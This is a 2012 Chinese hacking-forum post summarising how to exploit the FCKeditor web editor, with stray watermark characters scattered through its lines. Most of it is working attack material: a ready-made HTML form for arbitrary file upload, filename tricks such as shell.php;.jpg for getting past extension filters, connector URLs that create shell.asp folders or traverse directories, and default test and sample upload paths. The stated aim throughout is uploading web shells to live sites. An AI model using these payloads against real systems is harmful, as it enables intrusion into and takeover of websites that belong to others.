找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2626|回复: 1
打印 上一主题 下一主题

FCKeditor漏洞利用总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 20:23:31 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Fckeditor漏洞利用总结

查看编辑器版本+ o  s7 L) T# b9 l0 ^
FCKeditor/_whatsnew.html) F# S# a! w, a# `9 s+ S2 t
—————————————————————————————————————————————————————————————

2. Version 2.2 版本( |* s. r0 m1 L
Apache+linux 环境下在上传文件后面加个.突破!测试通过。3 A6 E$ C& _' Q( u. h. Y" A: Q
—————————————————————————————————————————————————————————————

3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
, K2 M& d$ H9 u# p2 z$ {( g6 b<form id="frmUpload" enctype="multipart/form-data"/ [6 t# S! m. e
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
- B! S# _& k+ H  {# B5 x<input type="file" name="NewFile" size="50"><br>% p! q) [; h. A) A$ y1 a! G
<input id="btnUpload" type="submit" value="Upload">
8 Z6 }- G: i4 R. H</form># e5 M$ P0 B& g% l1 e# A9 i4 p* b
—————————————————————————————————————————————————————————————

4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
0 h, \0 [! n6 ^        很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。6 R( m! W/ c8 q1 K7 ^7 g1 b) p& K& l
    4.1:提交shell.php+空格绕过
$ y, }8 z# g+ `! a7 F不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
' V* ]- N8 U6 p9 D( }) X    4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。8 O* y9 X8 r7 ^8 d' p0 b3 V
—————————————————————————————————————————————————————————————

5. 突破建立文件夹  n9 q! o+ H3 q' A, l
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
: W" ]# }; x( t* Z/ D5 p' hFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
) ?$ ^% q. x  t' [2 _$ ~1 M—————————————————————————————————————————————————————————————

6. FCKeditor 中test 文件的上传地址" l: s4 U4 G# t
FCKeditor/editor/filemanager/browser/default/connectors/test.html
; [  b+ ~, u6 i) }FCKeditor/editor/filemanager/upload/test.html
- J8 k8 N4 d$ T7 v0 \FCKeditor/editor/filemanager/connectors/test.html9 f5 \6 w; b! g5 E- e
FCKeditor/editor/filemanager/connectors/uploadtest.html
. `3 C% p& @, q/ v  L  d7 ^—————————————————————————————————————————————————————————————5 z% f. ?. r* y5 n

7.常用上传地址
& a. R: \! y3 m6 n9 M2 q0 [FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
  [  n( |8 ?& V* }8 G8 P  oFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
: X) i# T$ N$ I5 hFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过). z7 A% i0 N# P& c, d" o
JSP 版:% O. c! d: e# a5 f+ W9 R! @
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp+ V3 @7 g- D0 v! C
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文  k4 P& f# k3 t' j
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。( s, g% D9 i4 ^, T+ l1 N4 z2 V( \: i5 P
—————————————————————————————————————————————————————————————

8.其他上传地址
! l' i) L! J+ n7 [; ?6 }FCKeditor/_samples/default.html: F) l  z2 `! N1 ]
FCKeditor/_samples/asp/sample01.asp: m, o* |, Y' I
FCKeditor/_samples/asp/sample02.asp
; I! \& k" X' v+ E" sFCKeditor/_samples/asp/sample03.asp. d# |- M7 a# I5 O; e. S2 W
FCKeditor/_samples/asp/sample04.asp# ]$ S! H- ?  k
一般很多站点都已删除_samples 目录,可以试试。7 P' L2 o- I1 l: Y
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。, H9 p0 _3 e2 \. Z
—————————————————————————————————————————————————————————————

9.列目录漏洞也可助找上传地址
" |1 L) C# z" l  Q3 eVersion 2.4.1 测试通过
0 L, b) v' u$ ~: c5 }1 c; W, t修改CurrentFolder 参数使用 ../../来进入不同的目录5 S( a. U0 P( o. A
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
4 J9 n, }  [  D4 ~0 w0 ?) S根据返回的XML 信息可以查看网站所有的目录。
8 M- f' J6 E0 P5 b7 aFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
; H- |, S- \8 P' I$ `也可以直接浏览盘符:
" @3 L; K0 }, p/ ]8 r$ S0 Q% A; VJSP 版本:: r* W7 S9 ?0 I' x2 {
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F5 `5 E: W: g2 |
—————————————————————————————————————————————————————————————

10.爆路径漏洞
1 Q0 S& Z4 {/ R6 a  K  M4 e) UFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp. W1 j$ d& L4 t$ K3 [
—————————————————————————————————————————————————————————————

11. FCKeditor 被动限制策略所导致的过滤不严问题5 R4 q% T( ^4 f; N
        影响版本: FCKeditor x.x <= FCKeditor v2.4.35 v: w6 u4 ]+ u& V; o8 V
脆弱描述:
# v0 b. G7 ?5 V: gFCKeditor v2.4.3 中File 类别默认拒绝上传类型:$ a% ~" l5 M4 P: j. f. J0 h
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
/ h) `, ?5 z8 \Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
8 ~: D- B) C. \0 k        而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
, {5 c/ ?% c) ~0 u" i+ ^7 X        在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!

回复

使用道具 举报

沙发
发表于 2012-9-8 22:43:14 | 只看该作者

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表